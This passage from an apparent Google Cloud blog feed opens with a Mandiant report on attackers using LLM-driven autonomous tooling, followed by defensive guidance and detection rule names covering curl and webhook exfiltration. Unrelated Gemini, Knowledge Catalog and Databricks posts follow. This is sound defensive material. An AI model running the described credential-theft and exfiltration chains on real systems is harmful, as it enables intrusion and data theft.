Consequently, GTIG assesses with high confidence that cyber crime threat actors will continue incorporating autonomous offensive tools into their operations, given that the increased reach of their campaigns will likely compensate for any decreases in success rates. We anticipate that actors, who specialize in stealthy operations designed to maintain long-term access, are less likely to use the publicly available versions of these tools, though they may employ them for purposes of scale and speed, depending on operational priorities. Regardless of motivation, the low barrier to entry, ease of integrating new exploits, and massive scaling potential make autonomous frameworks an attractive, low-cost force multiplier for a wide range of threat actors, making it highly likely that we will continue to see increasing threat actor adoption of these types of frameworks in the near term.

Defending Against AI-Enabled Attacks: Five Layers of Defense

LLM-enabled offensive tooling does not fundamentally change the techniques attackers use. It reduces the time required to combine them. Credential discovery, permission testing, lateral movement, and data access that previously required hours of operator effort can now occur in minutes, frequently through valid identities and supported functionality that static indicators will not detect. Organizations are best positioned to withstand this when compromise of a single identity, credential, or workload provides only limited access. Restricting control-plane exposure, replacing long-lived secrets with short-lived and tightly scoped credentials, segmenting application tiers, and placing guardrails on high-impact business functions all reduce the speed advantage automation provides. Behavioral detection addresses the activity that these controls do not prevent, but it depends on having sufficient identity, control-plane, data-plane, and network telemetry to establish what normal activity looks like. Many of these controls are already familiar to defenders. The difference is that automated tooling can now identify and exploit the gaps between them far more quickly.

As illustrated above, LLM-enabled offensive tooling is increasing the speed and scale of cyber attacks. LLM-enabled and autonomous tools can identify weaknesses, test access, interpret errors, adjust their approach, and continue through an attack path with limited human interaction. Work that might previously have required an operator to investigate an environment, write or modify code, troubleshoot failures, and execute the next step over several hours can increasingly happen in minutes.

This creates a detection challenge as well. Much of the activity may use valid credentials and supported functionality (living-off-the-land, LotL). An attacker may authenticate with a legitimate service principal, call a normal management API, access cloud storage through a supported protocol, or execute commands through an existing administrative interface. Tool names, hashes, IP addresses, and other static indicators provide useful signals when available, but they will not cover much of this activity.

Effective defenses combine two capabilities:

Controls that limit what an attacker can do after gaining valid access.
Telemetry that shows when an identity, application, or workload begins operating outside its normal pattern.

How Adversarial Use of LLMs Changes the Attacker Timeline

Several themes repeatedly appear during investigations involving LLM-enabled or highly automated attacker activity:

Speed and scale: Automated tooling can perform broad reconnaissance, test several attack paths at once, react to failures, and immediately continue into follow-on activity. The time between initial access, privilege discovery, lateral movement, and data access can become very short.
Interconnected environments: Attackers rarely remain inside one technology stack. An internet-facing application may expose credentials in a configuration file. Those credentials may provide access to cloud storage, source repositories, identity systems, or internal infrastructure. Automation makes it easier to discover and test those relationships quickly.
Legitimate-looking identity activity: Many actions look normal when viewed independently. A service principal authenticates, an API is called, a storage object is downloaded. The stronger signal often comes from context: where the request originated, how much activity occurred, what happened immediately before and after it, and whether the behavior is expected for that identity.
Control-plane and data-plane blind spots: Many organizations have mature endpoint monitoring but considerably less visibility into management APIs, programmatic identities, and cloud storage activity. Permission testing, retrieval of storage keys, bulk downloads, firewall changes, and management API calls may all be logged without generating useful alerts.

Mandiant recommends structuring enterprise defenses across five foundational layers designed to restrict lateral movement and limit the speed advantage of autonomous tooling:

Layer	Description
Layer 1: Protect Control Planes	Restrict all admin APIs, consoles & CI/CD to trusted networks
Layer 2: Restrict Identities & Keys	Migrate to short-lived workload credentials; eliminate secrets
Layer 3: Harden Configurations and Reduce Attack Paths	Continuous vulnerability scanning across apps & infrastructure
Layer 4: Application Protections	Harden applications to prevent abuse of legitimate features and capabilities
Layer 5: Detect Behavioral Volumetric Change	Monitor identity velocity, API bursts, and volumetric anomalies

Table 1: Foundational layers for restricting adversarial LLM speed advantage and lateral movement

Layer 1: Protect the Control Plane

Restrict access to the systems attackers can use to administer, deploy, or reconfigure the environment.

The control plane extends well beyond Active Directory or a cloud console. It includes identity providers, cloud management APIs, network and firewall management platforms, virtualization infrastructure, code repositories, CI/CD systems, privileged access management platforms, backup infrastructure, certificate authorities, SaaS administration consoles, and application administration interfaces.

Why It Is Important

Internet-accessible management interfaces can quickly become part of an attack path after credentials are obtained. For example, Azure App Service includes an administrative interface through Kudu Site Control Manager, or SCM, which supports application deployment and management functionality. If an attacker obtains publishing credentials or another identity capable of accessing that interface, automation can quickly test authentication, enumerate functionality, interact with application files, execute commands, retrieve output, and remove staged artifacts.

Similar exposure exists across firewall administration, virtualization consoles, cloud management APIs, backup platforms, CI/CD interfaces, and other management services. Any reachable administrative path gives an automated attacker another capability to test.

Mitigations

Reduce Administrative Internet Exposure: Restrict cloud administration, network device management, application publishing interfaces, hypervisors, backup platforms, and other sensitive services to trusted networks, private connectivity, or dedicated administrative paths wherever possible.
Require Trusted Administrative Paths: Require privileged users to administer sensitive infrastructure from managed devices, privileged access workstations, or approved jump hosts. Pair these controls with phishing-resistant authentication such as FIDO2 or passkeys where supported.
Harden Application Management Interfaces: Treat application administration and publishing endpoints as privileged infrastructure rather than extensions of the public application.

Configure access restrictions for Kudu/SCM endpoints separately where appropriate.
Limit SCM access to approved management networks or deployment infrastructure.
Disable basic publishing authentication where it is not required.
Restrict access to deployment and publishing credentials.
Consider deployment models such as run-from-package that reduce direct modification of deployed application files.

Control Public Exposure by Design: Establish governance around public IP allocation and require architecture review before workloads or management interfaces are exposed directly to the internet.
Apply Similar Controls to Programmatic Administration: Where supported, restrict administrative service principals and automation identities to expected networks, workloads, or private connectivity.
Monitor the Control Plane as a Distinct Security Surface: Centralize authentication, configuration change, deployment, and administrative telemetry from cloud platforms, application administration interfaces, network infrastructure, backup platforms, and other management systems. Alert on administrative access from previously unseen networks, hosting providers, or geographies.

Layer 2: Restrict Identities and Keys

Reduce the value of stolen credentials by limiting their lifetime, permissions, and where they can be used.

Security programs have traditionally placed more emphasis on human identities. Service principals, service accounts, API keys, storage keys, cloud access keys, deployment tokens, personal access tokens, and application secrets can receive less scrutiny despite providing significant access.

Programmatic identities are especially useful to an automated attacker when they combine long-lived credentials, broad permissions, limited conditional controls, and limited monitoring.

Why It Is Important

Consider an exposed cloud storage credential. Once automated tooling discovers the credential in source code, an environment variable, application configuration, a database, or another compromised system, it can immediately test the credential and begin enumerating available data.

A long-lived credential that works from anywhere on the internet and provides broad storage access can turn a single credential exposure into large-scale data access very quickly.

The same pattern applies to service principals and other programmatic identities. A credential intended for an internal CI/CD runner carries considerably more risk when the identity can also authenticate from an arbitrary network and access production resources.

Credential security therefore needs to address both what an identity can access and the conditions under which that access is valid.

Mitigations

Prioritize Workload and Programmatic Identities: Apply the same rigor used for privileged human identities to service principals, service accounts, API keys, cloud access keys, application credentials, deployment tokens, and Personal Access Tokens. These identities should have defined owners, lifecycle controls, least privilege, monitoring, and incident response procedures.
Move From Long-Lived to Short-Lived Credentials: Remove persistent secrets and use temporary or workload-bound credentials wherever possible.

Transition from static AWS IAM access keys to temporary credentials through IAM roles.
Replace Azure Service Principal client secrets with Managed Identities.
Disallow Azure Storage Account Shared Key Authentication in favor of Entra ID authorization with Conditional Access Policies.
Use Google Cloud Workload Identity Federation instead of long-lived service-account keys.
Move from GitHub classic PATs to fine-grained PATs or workload-based authentication such as GitHub Actions OIDC where supported.

Constrain Both the Where and the What: Limit non-human identities to the APIs, subscriptions, projects, repositories, storage resources, and systems that they actually require. Where supported, restrict the locations and workloads from which those identities can authenticate. A service principal used by an internal CI/CD runner should not also be usable from arbitrary external infrastructure.

Hardening multi-cloud service principals requires replacing long-lived, static credentials with short-lived tokens and strictly enforcing access controls. Essential approaches across major providers include:

Google Cloud: Using Workload Identity Federation and targeted IAM constraints.
AWS: Leveraging OIDC federation combined with Service Control Policies (SCPs).
Azure: Applying Conditional Access policies to restrict access contextually.
Okta: Implementing Private Key JWT authentication along with network-restricted Authentication Policies.

Use private connectivity, expected source ranges, workload federation, resource policies, and IAM conditions where appropriate across cloud platforms.

Restrict AWS IAM Role Delegation: Tightly control permissions that allow one identity to assign or pass another identity’s privileges. In AWS, restrict iam:PassRole to specific roles and intended services and apply conditions such as iam:PassedToService where appropriate.
Isolate Credential and Secret Stores: Place enterprise password vaults and secret management systems behind tightly controlled administrative and network paths. Require strong authentication for privileged access, restrict programmatic access to expected workloads and networks where supported, and alert on unusual bulk secret queries, enumeration, or export activity. These detections overlap with legitimate automation; the signal is in the identity, origin, volume, and sequence, not the action. Baseline known-good automation first and alert on deviation, or expect false positives on routine activity.
Harden Password Reset and Account Lifecycle Processes: Require strong re-authentication or additional identity verification for high-risk password resets and account recovery. Monitor unusual bursts of password resets, account creation, credential additions, permission changes, or other lifecycle activity.
Automate Secret Hygiene: Implement continuous scanning of repositories, container images, build artifacts, and pipelines for exposed secrets and credentials. Remove credentials from application code, configuration files, deployment scripts, and databases and move them into dedicated secret-management platforms. Rotate exposed credentials promptly rather than relying on removal from source-control history.

Layer 3: Harden Configurations and Reduce Attack Paths

Remove weaknesses that provide an initial foothold and limit how far a compromised workload can reach.

Automated tooling is particularly effective in environments where several smaller weaknesses can be combined into a larger attack path. An exposed application, an overly privileged workload identity, a credential in an environment variable, and unrestricted network access may each appear manageable in isolation. Together, they can provide a direct path into sensitive systems.

Why It Is Important

A vulnerability in an internet-facing application may initially appear isolated. In practice, that application may have access to a backend database. The database may contain credentials. Application environment variables may contain cloud tokens. The underlying host may have an attached cloud identity with access to storage, secrets, or management APIs.

Automation can test those paths in rapid succession. Failures can also become useful feedback. An application error, stack trace, database response, compiler output, or API error may give the tooling enough information to modify its next request within seconds. Detailed diagnostic information exposed externally therefore provides more than troubleshooting value; it can accelerate experimentation during an attack.

Mitigations

Continuously Reduce the External Attack Surface: Scan internet-facing applications and infrastructure for vulnerabilities, exposed administrative services, default configurations, and unnecessary services. Vulnerability programs should include custom applications, frameworks, libraries, and dependencies in addition to operating systems.
Assume the Workload Can Be Compromised: Design applications so compromise of the front end provides access only to the systems required for that application’s function. Reduce application permissions and limit access to required databases, APIs, queues, storage accounts, and backend services.
Enforce Application-Tier Segmentation: Segment internet-facing applications from identity infrastructure, management systems, and unrelated internal services. Restrict DMZ workloads from initiating unnecessary Kerberos, NTLM, LDAP, SMB, RDP, SSH, database, and administrative connections into internal networks.
Harden Database Runtime Privileges: Application database accounts should not have broad administrative privileges. Restrict capabilities that allow a database engine or application identity to execute operating-system commands, write arbitrary files, modify server-wide settings, or cross the database-to-OS boundary unless the application requires them.
Reduce Credential Exposure in Workloads: Review application configurations, environment variables, infrastructure-as-code, deployment scripts, CI/CD pipelines, and databases for embedded secrets. Compromise of one workload should not expose credentials for unrelated systems.
Limit Error Feedback to External Users: Avoid returning detailed stack traces, compiler messages, SQL errors, internal paths, framework details, or other diagnostic information to unauthenticated users. Keep detailed troubleshooting information in internal logs.
Harden Network and Security Appliances: Remove unnecessary management services from routers, firewalls, VPN appliances, and other infrastructure. Review configurations for unexpected accounts, scheduled jobs, startup scripts, configuration changes, and persistence mechanisms. Validate firmware integrity and vendor signatures where supported.
Harden Active Directory Certificate Services: Review AD CS for certificate templates and enrollment paths that could allow an attacker to obtain authentication certificates or escalate privileges.

Remove ENROLLEE_SUPPLIES_SUBJECT where it is not required, particularly on templates supporting client authentication.
Restrict enrollment permissions to the identities that require them.
Require certificate manager or CA approval for higher-risk enrollment scenarios where appropriate.
Enable Extended Protection for Authentication on applicable CA web interfaces where supported.
Monitor unusual certificate enrollment involving privileged users or unexpected requesting systems.

Reduce Credential Replay and Relay Opportunities: Enable Windows Credential Guard where appropriate, use Protected Users for suitable privileged accounts, enforce SMB signing, and enforce LDAP signing and channel binding. Reduce or disable NTLM where operationally feasible and continue hardening against credential relay, Pass-the-Hash, Pass-the-Ticket, and related techniques.
Restrict Unnecessary Authentication From Exposed Workloads: Internet-facing servers should only initiate Kerberos, NTLM, LDAP, SMB, WinRM, or RDP traffic to systems where those protocols are explicitly required.

Layer 4: Application Protections

Harden legitimate enterprise functionality that attackers can reuse after gaining access.

A large portion of attacker activity relies on capabilities already present in the environment. Applications, authentication protocols, administrative services, scripting environments, messaging systems, deployment platforms, and business workflows may provide everything needed to continue an intrusion without introducing new malware. Automation makes these capabilities easier to discover and use quickly.

Why It Is Important

Internal business applications, scripts, and APIs are often customized to each organization without public documentation, and require a level of insider knowledge to understand exploitation opportunities. Automated LLM-powered offensive tooling has enabled attackers to enumerate and rapidly understand these internal applications and use them to their advantage.

Internal communication functionality is one example. A compromised application account may legitimately have access to a notification, messaging, or email API. Sending messages is expected behavior for that application. That same capability can be abused to send hundreds or thousands of phishing messages. Without recipient limits, rate limits, or behavioral monitoring, a standard business function can become a high-speed distribution mechanism.

Mitigations

Put Guardrails Around High-Impact Business APIs: Applications capable of accessing sensitive data, retrieving credentials, sending email, notifications, creating users, modifying access, or performing other high-impact actions should have rate limits, recipient limits, transaction thresholds, and abuse controls appropriate to their function. Alert when an application operates materially outside its normal volume.
Inventory Legitimate Administrative Capabilities Before an Incident: Security teams should know which platforms provide remote command execution, deployment, scripting, certificate issuance, identity synchronization, bulk messaging, and other high-impact functions. Those capabilities should have appropriate restrictions and monitoring in place before they are used during an intrusion.
Conduct Automated Application Testing and Threat Modelling: All internal applications should have SAST and DAST scans conducted and findings resolved prior to deployment. Organizations can also leverage LLM-enabled tooling to automate the discovery, triage, reproduction, and patching of software vulnerabilities and potential attack paths. Organizations can also apply agentic source-code review and continuous AI-assisted vulnerability testing—whether a bespoke LLM harness or a managed capability such as Google AI Threat Defense—to find, triage, and reproduce these attack paths before an attacker does.

Layer 5: Detect Behavioral and Volumetric Change

Detect when identities, applications, workloads, and infrastructure begin operating outside their established patterns.

Many actions performed during an automated attack are legitimate operations when viewed individually. Detection therefore depends heavily on context: identity, source network, volume, timing, sequence, target resource, and historical activity.

Why It Is Important

A service principal accessing cloud storage is not necessarily suspicious. A service principal that normally accesses ten objects from one internal network and suddenly downloads thousands of objects from an unfamiliar hosting provider is a different situation.

Outbound activity provides similar context. Automated tooling on a compromised server may contact external webhook services to confirm execution or transfer results. It may also communicate with LLM platforms, temporary file-sharing infrastructure, tunneling services, or attacker-controlled systems.

A single HTTPS connection may be routine. A production server that historically communicates with a small set of known destinations and suddenly begins reaching several new external services deserves closer attention.

Mitigations and Detection Priorities

Baseline Behavior at the Identity and Workload Level: Establish expected authentication sources, APIs, resources, activity volumes, and communication patterns for sensitive service principals, applications, workloads, and administrative identities.
Detect Changes in Authentication Origin: Track the networks, ASNs, cloud regions, hosting providers, and other infrastructure used by privileged users and workload identities. Investigate successful authentication from infrastructure that falls outside the identity’s normal pattern.
Monitor Control-Plane Velocity: Alert on unusual bursts of management API calls, permission testing, configuration changes, resource enumeration, credential retrieval, and other administrative activity. The timing and sequence of legitimate API calls can provide important context.
Baseline Data-Plane Activity: Establish normal read, write, and object-access patterns for sensitive storage and data platforms. Detect sudden enumeration, unusual write-read-delete sequences, large increases in object access, or material changes in bytes transferred.
Build Detections Around Sequences: Correlate related events across identity, control-plane, data-plane, endpoint, and network telemetry. A new authentication source followed by permission probing, storage enumeration, bulk downloads, and a connection to a previously unseen external service should be analyzed as one sequence.
Monitor East-West Behavior From Exposed Workloads: Detect unexpected LDAP, Kerberos, NTLM, SMB, database, remote administration, and port-scanning activity originating from DMZ or internet-facing systems.
Control and Monitor Server Egress: Restrict unnecessary outbound internet connectivity from production servers and route sensitive workloads through controlled egress paths where practical. Monitor previously unseen destinations, particularly webhook services, OAST infrastructure, tunneling platforms, public file-transfer services, and external AI platforms that are not required by the workload.
Preserve the Telemetry Needed to See the Behavior: Collect and centralize interactive and non-interactive identity logs, service-principal authentication, cloud control-plane activity, sensitive storage data-plane logs, application administration logs, network flow, DNS, proxy telemetry, and endpoint activity. Establishing normal behavior depends on having enough historical data to compare against current activity.

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Frontline Threats and Mandiant Hunting Rules rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

Suspicious Webhook.Site Interaction
Suspicious Curl Invocation
Cmd Launching Curl
AWS Cloud Accounts Getcalleridentity

New Gemini courses for financial services and legal teams

Fri, 30 Oct 2026 13:00:00 +0000

Today Google Skills is sharing new, industry-specific video learning bundles to get you into Gemini and using agents. One bundle is designed for financial services and one is built specifically for those in the legal profession. You can access all of these videos at no cost on Google Skills today.

Whether you're managing complex market portfolios or navigating rigorous compliance reviews, these bite-sized video courses show you exactly how to work smarter with agentic AI. They start with use cases you’re probably familiar with, and share how you can jump into Gemini to get work done more efficiently.

Turn market complexity into clarity with Gemini for financial services

Financial analysts and portfolio managers deal with massive volumes of real-time market data, fluctuating risk profiles, and tight turnarounds. Let’s say you’re a financial advisor preparing for your first session with a client. You’ve got a meeting with a new client in 20 minutes. Reading hundreds of SEC pages manually isn’t possible. But, doing it in two minutes with Gemini for financial services makes it easy. Get a sense of three ways you can start using Gemini in this video, or jump into learning with the full course list below below.

We've launched four practical video courses to help your financial services team start transforming workflows immediately. You can see them all today on Google Skills:

Streamline compliance and drafting with Gemini for legal

In legal operations, precision is everything. Let’s say you’re staring at a proverbial pile of documents that need review. Instead of having to check terms line by line, you can use Gemini to build compliance standards and review agreements against them. Gemini then flags violations, explains why they go against standards, and suggests a remedy. And that’s just one way you can jump into higher efficiency with Gemini for legal. See three more ways to start using it today:

Get started with five new bite-size courses built to elevate your day-to-day legal workflows or explore all the Gemini for legal content on Google Skills:

Take your skills further with Gemini Agent Ready (GEAR)

Is this all feeling a little too introductory for you or your business? We get it. Maybe you’re ready to jump from introductory workflows to building production-grade agentic systems.

Through our no-cost Gemini Agent Ready program you can earn industry-recognized skill badges and validate your real-world expertise. When you register for GEAR today, you’ll receive 35 credits to explore interactive training environments on Google Skills — giving your team a risk-free space to build, test, and master agentic AI.

Get started with GEAR today

Grounding agents in one context graph connecting semantic models you already trust

Thu, 29 Oct 2026 16:00:00 +0000

Picture the scene: Before an executive business review, your VP of Sales asks an AI assistant, "What was net revenue for our top enterprise accounts last quarter?" In seconds, the agent returns a polished chart! Unfortunately, the numbers don't match the finance report. Why? Because the agent counted cancelled orders as revenue and pulled from an unvalidated staging table.

The agent didn't fail because of the model, or because it couldn't translate a user question into a query. It failed because it didn't understand your business. The real kicker is that understanding usually already exists in the form of a semantic model in a Looker, dbt, Snowflake, Databricks, or SAP system. But because each definition stays locked inside its own tool, every agent guesses at it… and often gets it wrong.

This is where Knowledge Catalog comes in. It brings the semantic models from all of those tools into one context graph, so every agent works from the same trusted definitions. And when two tools define the same metric differently, both definitions appear with their provenance, so data stewards can reconcile the conflict before it reaches end users.

Today, we're announcing the general availability of expanded semantic model support. Knowledge Catalog now natively ingests semantic models and metric definitions from Looker LookML, BigQuery Graph (including BigQuery measures), dbt MetricFlow, Snowflake Semantic Views, Databricks Metric Views, and SAP Core Schema Notation (CSN), and connects them with schema, lineage, data profiles, business glossary and other key metadata in a single context graph, without moving data or rewriting business logic in a new language.

By grounding your AI agents in those models, they get the same business definitions your analysts rely on, so their answers line up with the numbers your business trusts. In fact, based on internal benchmarks, grounding agents in Knowledge Catalog makes them nearly 4X more accurate, with up to 33% lower latency, and using up to 75% fewer tokens.

The unified context graph enables you to:

Reuse the semantic models you already trust: Knowledge Catalog grounds Gemini agent, BigQuery Conversational Analytics, and your custom agents in the metrics, filters, and join paths your teams have already defined, wherever they live.
Go beyond hand-curated definitions with self-learned context: Knowledge Catalog pairs the well-defined metrics and KPI definitions in your semantic models with relevant context it extracts from unstructured knowledge sources, such as operational playbooks, meeting notes, chat threads, code, and more. Powered by Gemini, self-learning enrichment continuously finds missing or outdated context and turns it into governed, reusable context sets, ensuring your agents' context stays current as definitions change, without relying only on manual curation.
Pair business logic with enterprise trust: Even the right formula produces the wrong answer when it runs on stale or uncertified data. That's why Knowledge Catalog can connect semantic definition to data quality scores, freshness signals, and lineage, so an agent knows what it can trust before it writes a line of SQL.

Side-by-side comparison of the same question in Gemini without Knowledge Catalog (left) and grounded in Knowledge Catalog (right). Highlights the grounded agent (right) giving an accurate response with less token and lower latency, compared to the agent without Knowledge Catalog (left) hallucinating and using more tokens with higher latency.

One context graph across your data estate

The context graph that Knowledge Catalog creates is a connected map of your data and semantic estate: tables, semantic models, glossary terms, and data products are nodes; lineage, associations, schema keys, joins mined from real query history, and the join paths declared in your semantic models are the edges. Ingested semantics land in that same graph, next to pre-existing governance and usage signals, so an agent moves from business concept to trusted formula and verified join paths in one traversal. Each source adds its own perspective on your business:

Looker LookML (GA): Indexes models, explores, views, and dashboards using Live sync from Looker Core, capturing compiled metric SQL, fan-out-safe join conditions, mandatory filters, and lineage from source tables to executive dashboards.
BigQuery Graph (GA): Indexes native property-graph definitions, node and edge tables, graph measures, and business synonyms, so agents reason over connected entities with Graph Query Language (GQL) traversals instead of brittle multi-table self-joins.
dbt MetricFlow (GA): Links source objects to dbt models and MetricFlow metrics, alongside dbt data quality test results, filters, saved queries, freshness SLAs, and downstream exposures.
Snowflake Semantic Views via Horizon Catalog (GA): Pairs federated BigQuery or Google Cloud Lakehouse tables with Snowflake Horizon metadata, bringing in Semantic View dimensions, facts, metric formulas, relationships, and synonyms, plus Data Metric Function quality scorecards and PII masking tags.
Databricks Metric Views via Unity Catalog (GA): Ingests metric view definitions, measure formulas, scoping filters, and join cardinalities from Unity Catalog, alongside table certification badges and Lakehouse Monitoring profiling results.
SAP Core Schema Notation (CSN) via SAP Business Data Cloud (BDC) (GA): Captures business labels, dimension and cube modeling patterns, default aggregations, currency and unit bindings, key and composite join associations, and data sensitivity flags when SAP BDC Data Products are federated through Google Cloud Lakehouse.

Because every source lands as a node or an edge in the same graph, a LookML join, a dbt exposure, a Snowflake relationship, or an SAP association are traversable side by side, with links tying each one back to the physical tables it depends on. And nothing is silently overwritten: overlapping definitions stay side by side, each labeled with its source, giving data stewards the full picture they need to settle on a single version.

Navigating semantic models, join paths, and lineage on the context graph in Knowledge Studio.

You can explore and govern all of this in Knowledge Studio (preview), your command center to explore and manage your context. Explore your context graph, including your semantic definitions, using natural language prompts and traverse connection paths using the context graph canvas. Then, once you've validated the right assets and definitions, you can package them into reusable context sets that map to specific use cases and domains in your organization, which Gemini and custom agents can consume in production.

Get started

Let’s get back to that net revenue question. With Knowledge Catalog, the VP of Sales’ agent issues a single context query to discover the trusted asset, applying the exact metric formula and filters that your domain experts defined, all while respecting join keys across systems, and confirming that the underlying data passed its quality checks. Better yet, the numbers in the report are correct!

To get started, explore your context graph in Knowledge Studio and visit the Knowledge Catalog documentation to connect to more sources.

Querying Databricks Apache Iceberg Tables with the borderless Lakehouse

Thu, 29 Oct 2026 16:00:00 +0000

Enterprise organizations often leverage multiple data platforms, including Databricks, to execute heavy Apache Spark jobs alongside BigQuery to power highly concurrent analytics workloads. Historically, bridging these systems often meant building complex pipelines to copy data between environments. This approach increases storage costs, introduces latency, and fragments security controls.

With Google Cloud’s borderless Lakehouse, you can now query Databricks-managed Apache Iceberg tables straight from BigQuery. This zero-copy approach removes the need to duplicate data: BigQuery reads the same files Databricks writes, and new changes appear after Lakehouse's next scheduled metadata refresh (as often as every 5 minutes).

How Lakehouse and Databricks work together

Managed Iceberg tables automatically generates Iceberg-compatible metadata alongside native Delta logs. Data engineering teams can store Parquet files once in Google Cloud Storage (GCS) using Databricks. Rather than loading this information into BigQuery, Lakehouse reads the Iceberg metadata directly, applying BigQuery’s vectorized engine directly to open-format files in GCS.

Although Google Cloud Storage (GCS) serves as the primary storage layer in the above example, Lakehouse extends this borderless federation directly to external cloud environments like Amazon S3 and Azure Blob Storage. By pairing the open Apache Iceberg REST Catalog with cross-cloud connections, Lakehouse lets BigQuery query data across clouds without moving it. Each federated catalog lives in a Google Cloud location you choose, ideally the region closest to your data. This lets BigQuery read open-format Parquet files where they live, delivering multi-cloud analytics without replication pipelines. Remote-cloud egress charges still apply, but Cross-Cloud Interconnect (AWS) and Lakehouse caching can reduce them.

Beyond simply querying external data, Lakehouse framework establishes true read and write (R/W) interoperability across engines. Because the platform is built on an open Apache Iceberg foundation, data teams can effortlessly execute multi-statement SQL commands directly inside BigQuery.

Centralized security and governance

Handling access controls across disparate systems can introduce vulnerabilities. Lakehouse addresses this through delegated access. Administrators can configure a BigQuery Cloud Resource Connection tied to a service account that manages IAM rights for GCS buckets. Granting users access to the Lakehouse table entity lets you enforce BigQuery controls including row-level, column-level security, and dynamic data masking on external Iceberg tables while Databricks handles ingestion.

Catalog federation and credential vending

Previously, connecting these platforms meant manually configuring BigQuery queries to point at static metadata paths. Modern setups leverage the open Apache Iceberg REST Catalog API. Databricks Unity Catalog functions as the central metadata layer, allowing a BigQuery administrator to establish a Lakehouse runtime catalog with a federated connection. When running a query, Lakehouse contacts Unity Catalog for current table state, and short-lived tokens are issued through credential vending to grant BigQuery temporary read access to GCS.

Partition pruning

BigQuery uses each table's Iceberg metadata to plan the query, then reads only the relevant data files in place. Iceberg's hidden partitioning lets you filter on logical columns, such as timestamps, without knowing the directory layout. Note that Databricks managed Iceberg tables don't support partition transforms; Databricks recommends liquid clustering instead.

Filters in a standard WHERE clause let BigQuery use the Iceberg manifests to skip partitions that can't match. Compare partition columns with literal values so pruning can apply. These manifests maintain detailed column-level statistical bounds, enabling BigQuery to bypass irrelevant manifest records and unneeded Parquet files immediately. Consequently, queries scan only necessary byte ranges, accelerating query execution while significantly reducing on-demand slot consumption and storage scan costs.

Fast queries with Iceberg metadata and Lakehouse caching

Iceberg manifests already identify which data files to read, so BigQuery doesn't need a metadata cache for Iceberg tables. For cross-cloud tables, such as those in Amazon S3, Lakehouse caching (Preview) keeps retrieved data blocks in Google Cloud so repeat queries read them locally. BigQuery reads the Iceberg manifest files directly when it plans each query; there's no metadata caching to enable. This dynamic partition pruning bypasses unneeded files, significantly reducing runtime and bytes scanned.

Maintenance and lifecycle management

Modern lakehouses demand active upkeep; without routine care, performance degrades into an inefficient repository. Fortunately, both BigQuery and Databricks supply native capabilities to preserve table hygiene and accelerate analytical workloads.

Keeping your tables optimized

To maintain optimal query performance, active maintenance of your lakehouse storage footprint remains necessary.

Trigger regular compaction pipelines via Databricks APIs to merge tiny Parquet files into larger, optimized layouts and use Predictive Optimization.
Execute the Databricks VACUUM command to clear unreferenced files outside active snapshots, avoiding extra GCS storage costs.

Compaction and the small file problem

Frequent write operations, continuous ingestion jobs, and streaming workloads continuously produce thousands of small Parquet files. This fragmentation creates a storage bottleneck that can limit BigQuery’s reading efficiency. Establishing thousands of network connections to GCS and processing metadata footers across numerous tiny files consumes significant compute time, diminishing the performance advantages of vectorized query execution.

Running routine compaction within Iceberg resolves these inefficiencies. Databricks manages this automatically using Liquid Clustering which dynamically adjusts file layouts based on access patterns or through native table management utilities.

To compact small files manually on Databricks, run OPTIMIZE:

code_block: <ListValue: [StructValue([('code', "-- Run on Databricks to compact small files\r\n-- On Databricks:\r\nOPTIMIZE customer_events;\r\n-- For Iceberg tables you manage outside Databricks:\r\nCALL my_catalog.system.rewrite_data_files(\r\ntable => 'default.customer_events',\r\nstrategy => 'binpack',\r\noptions => map(\r\n'target-file-size-bytes',\r\n'268435456',\r\n'min-file-size-bytes',\r\n'67108864'\r\n)\r\n);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba8ae3d1d0>)])]>

Executing this command aggregates scattered file segments into larger, structured blocks typically between 256MB and 512MB that can help improve BigQuery’s scan throughput. The binpack approach operates rapidly by prioritizing total file size balancing, though alternative sorting strategies can organize dataset ordering along specific column keys.

Managing orphan files and snapshot retention (VACUUM)

Every transactional update, record modification, and table compaction creates fresh snapshots within Iceberg to preserve dataset integrity. Over time, historical Parquet objects detached from active table states become orphaned. Although these legacy files facilitate time-travel analytics, neglecting them can drive up GCS storage charges over time.

Data teams can use the Databricks VACUUM operation to scan and purge abandoned storage files.

code_block: <ListValue: [StructValue([('code', "ALTER TABLE customer_events SET TBLPROPERTIES ('delta.deletedFileRetentionDuration' = '7 days');\r\nVACUUM customer_events FULL;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fba8b1b39d0>)])]>

Standard configurations apply a mandatory seven-day threshold (deletedFileRetentionDuration) before executing VACUUM routines. Preserving this delay prevents active analytical jobs from encountering missing file errors while keeping historical recovery options available. Scheduling routine VACUUM jobs, or letting predictive optimization run them, removes unreferenced data files and, for tables with Iceberg reads, old Iceberg metadata. That keeps storage costs low and performance high across your lakehouse.

Conclusion

Connecting Databricks Apache Iceberg datasets to Lakehouse can help you activate your data with BigQuery. By separating processing from underlying storage, embracing open formats, and using standard REST APIs with credential vending, you can run scalable engineering workloads and concurrent analytics without migrating data or sacrificing performance

Pairing Databricks Iceberg reads (UniForm) with Lakehouse federation, Lakehouse caching, and regular OPTIMIZE and VACUUM maintenance helps you build an efficient, zero-copy lakehouse. This approach can help lower storage spend, avoids fragile pipeline maintenance, and prepares your data environment for modern analytics and emerging AI workloads.

Constructing a unified architecture no longer requires moving data files across platforms. You can begin querying Databricks Iceberg tables by registering them with the Lakehouse runtime catalog today for bi-directional federation. Learn more by reading our documentation to get started.